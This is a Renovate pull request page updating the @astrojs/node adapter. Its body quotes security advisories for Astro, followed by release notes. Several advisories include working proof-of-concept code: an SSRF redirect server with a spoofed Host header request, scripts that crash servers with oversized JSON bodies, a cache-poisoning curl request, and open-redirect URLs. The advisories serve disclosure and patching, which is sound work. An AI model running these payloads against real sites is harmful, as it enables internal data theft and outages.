Skip to content

chore(deps): update dependency @astrojs/node to v11 [security] - #380

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-astrojs-node-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-astrojs-node-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Aug 16, 2025 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
@astrojs/node (source) ^9.0.0 → ^11.0.0 age confidence

@​astrojs/node's trailing slash handling causes open redirect issue

CVE-2025-55207 / GHSA-9x9c-ghc5-jhw9

More information

Details

Summary

Following GHSA-cq8c-xv66-36gw, there's still an Open Redirect vulnerability in a subset of Astro deployment scenarios.

Details

Astro 5.12.8 fixed a case where https://example.com//astro.build/press would redirect to the external origin //astro.build/press. However, with the Node deployment adapter in standalone mode and trailingSlash set to "always" in the Astro configuration, https://example.com//astro.build/press still redirects to //astro.build/press.

Proof of Concept
  1. Create a new minimal Astro project (astro@5.12.8)
  2. Configure it to use the Node adapter (@astrojs/node@9.4.0) and force trailing slashes:
    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import node from '@astrojs/node';
    
    export default defineConfig({
      trailingSlash: 'always',
      adapter: node({ mode: 'standalone' }),
    });
  3. Build the site by running astro build.
  4. Run the server, e.g. with astro preview.
  5. Append //astro.build/press to the preview URL, e.g. http://localhost:4321//astro.build/press
  6. The site will redirect to the external Astro Build origin.
Example reproduction
  1. Open this StackBlitz reproduction.
  2. Open the preview in a separate window so the StackBlitz embed doesn't cause security errors.
  3. Append //astro.build/press to the preview URL, e.g. https://x.local-corp.webcontainer.io//astro.build/press.
  4. See it redirect to the external Astro Build origin.
Impact

This is classified as an Open Redirection vulnerability (CWE-601). It affects any user who clicks on a specially crafted link pointing to the affected domain. Since the domain appears legitimate, victims may be tricked into trusting the redirected page, leading to possible credential theft, malware distribution, or other phishing-related attacks.

No authentication is required to exploit this vulnerability. Any unauthenticated user can trigger the redirect by clicking a malicious link.

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro allows unauthorized third-party images in _image endpoint

CVE-2025-55303 / GHSA-xf8x-j4p2-f749

More information

Details

Summary

In affected versions of astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.

Details

On-demand rendered sites built with Astro include an /_image endpoint which returns optimized versions of images.

The /_image endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, a bug in impacted versions of astro allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. /_image?href=//example.com/image.png.

Proof of Concept
  1. Create a new minimal Astro project (astro@5.13.0).

  2. Configure it to use the Node adapter (@astrojs/node@9.1.0 — newer versions are not impacted):

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import node from '@astrojs/node';
    
    export default defineConfig({
    	adapter: node({ mode: 'standalone' }),
    });
  3. Build the site by running astro build.

  4. Run the server, e.g. with astro preview.

  5. Append /_image?href=//placehold.co/600x400 to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400

  6. The site will serve the image from the unauthorized placehold.co origin.

Impact

Allows a non-authorized third-party to create URLs on an impacted site’s origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.

Severity

  • CVSS Score: 6.4 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro has Full-Read SSRF in error rendering via Host: header injection

CVE-2026-25545 / GHSA-qq67-mvv5-fw3g

More information

Details

Summary

Server-Side Rendered pages that return an error with a prerendered custom error page (eg. 404.astro or 500.astro) are vulnerable to SSRF. If the Host: header is changed to an attacker's server, it will be fetched on /500.html and they can redirect this to any internal URL to read the response body through the first request.

Details

The following line of code fetches statusURL and returns the response back to the client:

https://github.com/withastro/astro/blob/bf0b4bfc7439ddc565f61a62037880e4e701eb05/packages/astro/src/core/app/base.ts#L534

statusURL comes from this.baseWithoutTrailingSlash, which is built from the Host: header. prerenderedErrorPageFetch() is just fetch(), and follows redirects. This makes it possible for an attacker to set the Host: header to their server (eg. Host: attacker.tld), and if the server still receives the request without normalization, Astro will now fetch http://attacker.tld/500.html.

The attacker can then redirect this request to http://localhost:8000/ssrf.txt, for example, to fetch any locally listening service. The response code is not checked, because as the comment in the code explains, this fetch may give a 200 OK. The body and headers are returned back to the attacker.

Looking at the vulnerable code, the way to reach this is if the renderError() function is called (error response during SSR) and the error page is prerendered (custom 500.astro error page). The PoC below shows how a basic project with these requirements can be set up.

Note: Another common vulnerable pattern for 404.astro we saw is:

return new Response(null, {status: 404});

Also, it does not matter what allowedDomains is set to, since it only checks the X-Forwarded-Host: header.

https://github.com/withastro/astro/blob/9e16d63cdd2537c406e50d005b389ac115755e8e/packages/astro/src/core/app/base.ts#L146

PoC
  1. Create a new empty project
npm create astro@latest poc -- --template minimal --install --no-git --yes
  1. Create poc/src/pages/error.astro which throws an error with SSR:
---
export const prerender = false;

throw new Error("Test")
---
  1. Create poc/src/pages/500.astro with any content like:
<p>500 Internal Server Error</p>
  1. Build and run the app
cd poc
npx astro add node --yes
npm run build && npm run preview
  1. Set up an "internal server" which we will SSRF to. Create a file called ssrf.txt and host it locally on http://localhost:8000:
cd $(mktemp -d)
echo "SECRET CONTENT" > ssrf.txt
python3 -m http.server
  1. Set up attacker's server with exploit code and run it, so that its server becomes available on http://localhost:5000:
##### pip install Flask
from flask import Flask, redirect

app = Flask(__name__)

@app.route("/500.html")
def exploit():
    return redirect("http://127.0.0.1:8000/ssrf.txt")

if __name__ == "__main__":
    app.run()
  1. Send the following request to the server, and notice the 500 error returns "SECRET CONTENT".
$ curl -i http://localhost:4321/error -H 'Host: localhost:5000'
HTTP/1.1 500 OK
content-type: text/plain
date: Tue, 03 Feb 2026 09:51:28 GMT
last-modified: Tue, 03 Feb 2026 09:51:09 GMT
server: SimpleHTTP/0.6 Python/3.12.3
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

SECRET CONTENT
Impact

An attacker who can access the application without Host: header validation (eg. through finding the origin IP behind a proxy, or just by default) can fetch their own server to redirect to any internal IP. With this they can fetch cloud metadata IPs and interact with services in the internal network or localhost.

For this to be vulnerable, a common feature needs to be used, with direct access to the server (no proxies).

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize

CVE-2026-27829 / GHSA-cj9f-h6r6-4cx2

More information

Details

Summary

A bug in Astro's image pipeline allows bypassing image.domains / image.remotePatterns restrictions, enabling the server to fetch content from unauthorized remote hosts.

Details

Astro provides an inferSize option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, when inferSize is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.

PoC
Details
Setup

Create a new Astro project with the following files:

package.json:

{
  "name": "poc-ssrf-infersize",
  "private": true,
  "scripts": {
    "dev": "astro dev --port 4322",
    "build": "astro build"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@astrojs/node": "9.5.3"
  }
}

astro.config.mjs — only localhost:9000 is authorized:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { hostname: 'localhost', port: '9000' }
    ]
  }
});

internal-service.mjs — simulates an internal service on a non-allowlisted host (127.0.0.1:8888):

import { createServer } from 'node:http';
const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');
createServer((req, res) => {
  console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);
  res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });
  res.end(GIF);
}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));

src/pages/test.astro:

---
import { getImage } from 'astro:assets';

const result = await getImage({
  src: 'http://127.0.0.1:8888/internal-api',
  inferSize: true,
  alt: 'test'
});
---
<html><body>
  <p>Width: {result.options.width}, Height: {result.options.height}</p>
</body></html>
Steps to reproduce
  1. Run npm install and start the internal service:
node internal-service.mjs
  1. Start the dev server:
npm run dev
  1. Request the page:
curl http://localhost:4322/test
  1. internal-service.mjs logs Received: GET /internal-api — the request was sent to 127.0.0.1:8888 despite only localhost:9000 being in the allowlist.
Impact

Allows bypassing image.domains / image.remotePatterns restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro has memory exhaustion DoS due to missing request body size limit in Server Actions

CVE-2026-27729 / GHSA-jm64-8m5q-4qh8

More information

Details

Summary

Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.

Details

On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.

Astro's Node adapter (mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.

Action names are discoverable from HTML form attributes on any public page, so no authentication is required.

PoC
Details
Setup

Create a new Astro project with the following files:

package.json:

{
  "name": "poc-dos",
  "private": true,
  "scripts": {
    "build": "astro build",
    "start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@astrojs/node": "9.5.3"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/actions/index.ts:

import { defineAction } from 'astro:actions';
import { z } from 'astro:schema';

export const server = {
  echo: defineAction({
    input: z.object({ data: z.string() }),
    handler: async (input) => ({ received: input.data.length }),
  }),
};

src/pages/index.astro:

---
---
<html><body><p>Server running</p></body></html>

crash-test.mjs:

const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });

console.log('Sending 125 MB payload...');
try {
  const res = await fetch('http://localhost:4321/_actions/echo', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },
    body: payload,
  });
  console.log('Status:', res.status);
} catch (e) {
  console.log('Server crashed:', e.message);
}
Reproduction
npm install && npm run build

##### Terminal 1: Start server with 128 MB memory limit
npm run start:128mb

##### Terminal 2: Send 125 MB payload
node crash-test.mjs

The server process crashes with FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.

Impact

Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands

CVE-2026-29772 / GHSA-3rmj-9m5h-8fpv

More information

Details

Summary

Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.

Details

Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:

// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text();    // full body buffered into memory — no size limit
const data = JSON.parse(raw);        // parsed into V8 object graph — no element count limit

The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.

Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.

PoC

Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.

The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.

Setup files:

package.json:

{
  "name": "poc-server-islands-dos",
  "scripts": {
    "build": "astro build",
    "start": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.18.0",
    "@astrojs/node": "9.5.4"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/pages/index.astro:

---
---
<html>
<head><title>Astro App</title></head>
<body>
  <h1>Hello</h1>
  <p>Just a plain SSR page. No server islands.</p>
</body>
</html>

Dockerfile:

FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]

docker-compose.yml:

services:
  astro:
    build: .
    ports:
      - "4321:4321"
    deploy:
      resources:
        limits:
          memory: 256m

Reproduction:

##### Build and start
docker compose up -d

##### Verify server is running
curl http://localhost:4321/

##### => 200 OK

crash.py:

import requests

##### Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"

##### 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object

##### 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")

try:
    r = requests.post(TARGET, data=payload,
        headers={"Content-Type": "application/json"}, timeout=30)
    print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Server crashed (OOM killed)")
$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)

$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused

$ docker compose ps
NAME      IMAGE     COMMAND   SERVICE   CREATED   STATUS    PORTS
(empty — container was OOM killed)

The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.

Impact

Any Astro SSR app with the Node standalone adapter is affected — the /_server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the [name] parameter works because the body is parsed before the name is validated.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro: Cache Poisoning due to incorrect error handling when if-match header is malformed

CVE-2026-41322 / GHSA-c57f-mm3j-27q9

More information

Details

Summary

Requesting a static JS/CSS resource from the _astro path with an incorrect or malformed if-match header returns a 500 error with a one-year cache lifetime instead of 412 in some cases. As a result, all subsequent requests to that file — regardless of the if-match header — will be served a 5xx error instead of the file until the cache expires.

Sending an incorrect or malformed if-match header should always return a 412 error without any cache headers, which is not the current behavior.

Affected Versions
  • astro@5.14.1
  • @astrojs/node@9.4.4
Proof of Concept

Run the following command:

curl -s -o /dev/null -D - <host location>/_astro/_slug_.UTbyeVfw.css -H "if-match: xxx"

If a 5xx error is not returned, inspect the resources via the browser's web inspector and select another CSS/JS file to request until a 5xx error is returned. The behavior generally defaults to a 5xx response. Note that all static files are immutable, so the cache must be purged or disabled to reproduce reliably.

A response similar to the following is expected from CloudFront:

HTTP/2 500 
content-type: text/html
content-length: 166541
date: Thu, 09 Apr 2026 12:53:08 GMT
last-modified: Wed, 21 Jan 2026 13:40:08 GMT
etag: "a68349e96c2faf8861c330aeb548441a"
x-amz-server-side-encryption: AES256
accept-ranges: bytes
server: AmazonS3
x-cache: Error from cloudfront
via: 1.1 3591be88662e5675a9dc1cc4e0a9c392.cloudfront.net (CloudFront)
x-amz-cf-pop: ZRH55-P2
x-amz-cf-id: Rg--RIYCKcA55GZqZXdvu-VTvpxBFFVzV4LBIcKq5pB_hktcrhYbKg==

The above is not the real server output but the AWS error response triggered when the pods return a 5xx. Below is the output of the same curl command issued directly against a pod in Kubernetes:

❯ curl -s -o /dev/null -D - -H "Host: tagesanzeiger.ch" 127.0.0.1:3333/_astro/InstallPrompt.astro_astro_type_script_index_0_lang.C0M4llHG.js -H "if-match: xxx"

HTTP/1.1 500 Internal Server Error
Cache-Control: public, max-age=31536000, immutable
Accept-Ranges: bytes
Last-Modified: Tue, 07 Apr 2026 07:08:03 GMT
ETag: W/"560-19d66c50c38"
Content-Type: text/javascript; charset=utf-8
Date: Tue, 07 Apr 2026 08:23:54 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

This demonstrates that the pod itself returns a 5xx error instead of 412. In addition, the response includes a Cache-Control: public, max-age=31536000, immutable header.

Because the testing setup configures if-match as part of the cache key, the exploit no longer affects the production application. Prior to that change, the CDN Point of Presence would become cache-poisoned, and any client visiting the affected pages without cached files through the same PoP would receive broken pages. This was reproduced by creating test URLs and visiting them in a browser only after triggering the exploit. The exploited resources returned 5xx errors instead of the original CSS/JS content, breaking the application.

Details

The findings were analyzed with an LLM, which identified the following file as the likely source: serve-static.ts

// Lines 129-153

let forwardError = false;

stream.on('error', (err) => {
    if (forwardError) {
        console.error(err.toString());
        res.writeHead(500);
        res.end('Internal server error');
        return;
    }
    // File not found, forward to the SSR handler
    ssr();
});
stream.on('headers', (_res: ServerResponse) => {
    // assets in dist/_astro are hashed and should get the immutable header
    if (normalizedPathname.startsWith(`/${app.manifest.assetsDir}/`)) {
        // This is the "far future" cache header, used for static files whose name includes their digest hash.
        // 1 year (31,536,000 seconds) is convention.
        // Taken from https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control#immutable
        _res.setHeader('Cache-Control', 'public, max-age=31536000, immutable');
    }
});
stream.on('file', () => {
    forwardError = true;
});
stream.pipe(res);

LLM analysis:

send handles conditional request headers such as If-Match internally. When a file is found but the precondition fails (ETag mismatch), send:

  1. Emits file (the file exists) → forwardError = true
  2. Emits headers → Cache-Control: public, max-age=31536000, immutable is set on res
  3. Emits error with a PreconditionFailedError (status 412)

However, the error handler does not inspect the error's status code:

stream.on('error', (err) => {
    if (forwardError) {
        console.error(err.toString());
        res.writeHead(500);   // ← always 500, regardless of the actual error
        res.end('Internal server error');
        return;
    }
    ssr();
});

Because Cache-Control was already set during the headers event, the response is sent as:

HTTP/1.1 500 Internal Server Error
Cache-Control: public, max-age=31536000, immutable
Impact

Cache Poisoning — An attacker can force edge servers to cache an error page instead of the actual content, rendering one or more assets unavailable to legitimate users until the cache expires.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


@​astrojs/node: Backslash-prefixed paths not recognized as internal by trailing-slash redirect

CVE-2026-59730 / GHSA-r557-wffq-wvrc

More information

Details

Impact

With trailingSlash: 'always' configured, the @astrojs/node standalone server's static file handler appends a trailing slash to request paths and issues a 301 redirect. Paths beginning with /\ (slash-backslash) were not recognized as internal paths, so the handler would echo the raw path back in the Location header. Because browsers treat \ as / per the WHATWG URL specification, the resulting redirect could resolve to an external host.

Preconditions:

  • trailingSlash: 'always' must be set (non-default; the default is 'ignore')
  • The request path must not have a file extension in its final segment
  • An attacker must deliver the crafted link to a user
Patches

Fixed by treating backslash-prefixed paths the same as //-prefixed paths in isInternalPath(), so they are no longer rewritten with a trailing slash.

Workarounds

Use the default trailingSlash: 'ignore' setting, which does not issue trailing-slash redirects in the static file handler.

References

Severity

  • CVSS Score: 2.1 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro: Malformed port in the Host header can crash the Node adapter

CVE-2026-102984 / GHSA-qh8j-hqjv-7m4x

More information

Details

Summary

In the Astro Node adapter, a request whose Host header contains a malformed port (for example example.com:65536 or example.com:8080:8080) produced an invalid request URL. The fallback intended to recover from an unparseable URL reused the same malformed host, so it failed again and raised an uncaught TypeError: Invalid URL while the request was being built, before any route ran.

Impact

The effect depends on the adapter configuration:

  • Default configuration (standalone): the request returns 500 Internal Server Error and the server continues running.
  • With the opt-in staticHeaders: true option: the throw reaches a synchronous HTTP handler that does not catch it, becoming an uncaughtException that terminates the process.

This is an availability-only issue. It does not expose data or allow code execution. Triggering it requires sending a hand-crafted Host header, and many proxies and CDNs reject malformed hosts before they reach the origin.

Affected versions

@astrojs/node <= 11.1.2.

Patches

Fixed in @astrojs/node 11.1.3. When the incoming host cannot be parsed, the request URL now degrades to a host the server controls, so the request is handled instead of throwing. Hosts carrying more than a single hostname:port pair are also rejected during host validation.

Workarounds

Upgrade to @astrojs/node 11.1.3 or later. Deployments that terminate malformed Host headers at a reverse proxy or CDN are not reachable through this path.

Credits

Reported by @​Celggar.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

withastro/astro (@​astrojs/node)

v11.1.3

Compare Source

Patch Changes

v11.1.2

Compare Source

Patch Changes

v11.1.1

Compare Source

Patch Changes
  • #​17658 8b211a5 Thanks @​astrobot-houston! - Fixes an EventEmitter memory leak when serving static pages over keep-alive connections with staticHeaders enabled and CSP (security.csp) active

v11.1.0

Compare Source

Minor Changes
  • #​16871 90c98ae Thanks @​adamchal! - When session: false is set in astro.config, the adapter no longer auto-wires the filesystem session driver. Combined with the matching astro change, this lets the session runtime tree-shake out of the server bundle.
Patch Changes
  • #​17564 004fb0a Thanks @​dmgawel! - Fixes middleware mode routing when a prerendered dynamic route sorts before an on-demand fallback

v11.0.3

Compare Source

Patch Changes

v11.0.2

Compare Source

Patch Changes
  • #​17252 eb6f97e Thanks @​matthewp! - Fixes trailing-slash handling for request paths that begin with a backslash

    With trailingSlash: 'always', the standalone Node server could append a trailing slash to a request path that begins with a backslash (for example /\example.com/foo) and echo that path back in the Location header of a 301 response. Because browsers resolve a leading \ the same way as /, the resulting Location could point off-site.

    Such paths are now recognized as internal paths, matching the existing handling for paths that begin with //, so they are no longer rewritten with a trailing slash.

  • Updated dependencies [eb6f97e]:

v11.0.1

Compare Source

Patch Changes

v11.0.0

Compare Source

Patch Changes

v10.1.4

Compare Source

Patch Changes
  • #​16985 4ecff32 Thanks @​maximslo! - Fixes the experimental.logger destination not being used for the "Server listening on..." startup message. The logger is now resolved before the server starts listening, and adapterLogger re-creates itself when the underlying logger changes so the startup message uses the correct destination.

v10.1.3

Compare Source

Patch Changes
  • #​16922 7dce185 Thanks @​astrobot-houston! - Fixes prerendered pages returning 404 when using build.format: 'file' or build.format: 'preserve' with the Node adapter in standalone mode.

    Previously, clean URLs like /about would fail to resolve to about.html on disk, because the static file handler only supported the default directory format (about/index.html). Now the handler correctly resolves clean URLs to .html files when the build format produces them.

v10.1.2

Compare Source

Patch Changes

v10.1.1

Compare Source

Patch Changes

v10.1.0

Compare Source

Minor Changes

v10.0.6

Compare Source

Patch Changes

v10.0.5

Compare Source

Patch Changes
  • #​16319 940afd5 Thanks @​matthewp! - Fixes static asset error responses incorrectly including immutable cache headers. Conditional request failures (e.g. If-Match mismatch) now return the correct status code without far-future cache directives.

v10.0.4

Compare Source

Patch Changes
  • #​16002 846f27f Thanks @​buley! - Fixes file descriptor leaks from read streams that were not destroyed on client disconnect or read errors

  • #​15941 f41584a Thanks @​ematipico! - Fixes an infinite loop in resolveClientDir() when the server entry point is bundled with esbuild or similar tools. The function now throws a descriptive error instead of hanging indefinitely when the expected server directory segment is not found in the file path.

v10.0.3

Compare Source

Patch Changes
  • #​15735 9685e2d Thanks @​fa-sharp! - Fixes an EventEmitter memory leak when serving static pages from Node.js middleware.

    When using the middleware handler, requests that were being passed on to Express / Fastify (e.g. static files / pre-rendered pages / etc.) weren't cleaning up socket listeners before calling next(), causing a memory leak warning. This fix makes sure to run the cleanup before calling next().

v10.0.2

Compare Source

Patch Changes

v10.0.1

Compare Source

Patch Changes

v10.0.0

Compare Source

Major Changes
  • #​15654 a32aee6 Thanks @​florian-lefebvre! - Removes the experimentalErrorPageHost option

    This option allowed fetching a prerendered error page from a different host than the server is currently running on.

    However, there can be security implications with prefetching from other hosts, and often more customization was required to do this safely. This has now been removed as a built-in option so that you can implement your own secure solution as needed and appropriate for your project via middleware.

What should I do?

If you were previously using this feature, you must remove the option from your adapter configuration as it no longer exists:

// astro.config.mjs
import { defineConfig } from 'astro/config'
import node from '@astrojs/node'

export default defineConfig({
  adapter: node({
    mode: 'standalone',
-    experimentalErrorPageHost: 'http://localhost:4321'
  })
})

You can replicate the previous behavior by checking the response status in a middleware and fetching the prerendered page yourself:

// src/middleware.ts
import { defineMiddleware } from 'astro:middleware';

export const onRequest = defineMiddleware(async (ctx, next) => {
  const response = await next();
  if (response.status === 404 || response.status === 500) {
    return fetch(`http://localhost:4321/${response.status}.html`);
  }
  return response;
});
Minor Changes
  • #​15258 d339a18 Thanks @​ematipico! - Stabilizes the adapter feature experimentalStatiHeaders. If you were using this feature in any of the supported adapters, you'll need to change the name of the flag:

    export default defineConfig({
      adapter: netlify({
    -    experimentalStaticHeaders: true
    +    staticHeaders: true
      })
    })
  • #​15759 39ff2a5 Thanks @​matthewp! - Adds a new bodySizeLimit option to the @astrojs/node adapter

    You can now configure a maximum allowed request body size for your Node.js standalone server. The default limit is 1 GB. Set the value in bytes, or pass 0 to disable the limit entirely:

    impo

[!IMPORTANT]
✂ PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot

changeset-bot Bot commented Aug 16, 2025 •

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: b9c1b97

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@vercel

vercel Bot commented Aug 16, 2025 •

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated
code-snippets Error Error Oct 20, 2026 12:26pm UTC

@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from fd328b5 to 327215d Compare September 14, 2025 23:15
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 327215d to 2bd912a Compare October 20, 2025 07:37
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 2bd912a to 0ea5988 Compare November 21, 2025 20:14
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 0ea5988 to bc59db8 Compare December 16, 2025 06:55
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from bc59db8 to a8c3517 Compare December 28, 2025 07:50
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from a8c3517 to 0069060 Compare January 20, 2026 03:39
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 0069060 to 9f3c988 Compare February 4, 2026 07:43
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 9f3c988 to e892ec7 Compare March 1, 2026 23:38
@renovate renovate Bot changed the title chore(deps): update dependency @astrojs/node to v9.4.1 [security] chore(deps): update dependency @astrojs/node to v9.5.4 [security] Mar 1, 2026
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from e892ec7 to 12dcfbf Compare March 31, 2026 09:46
@renovate renovate Bot changed the title chore(deps): update dependency @astrojs/node to v9.5.4 [security] chore(deps): update dependency @astrojs/node to v10 [security] Mar 31, 2026
@renovate
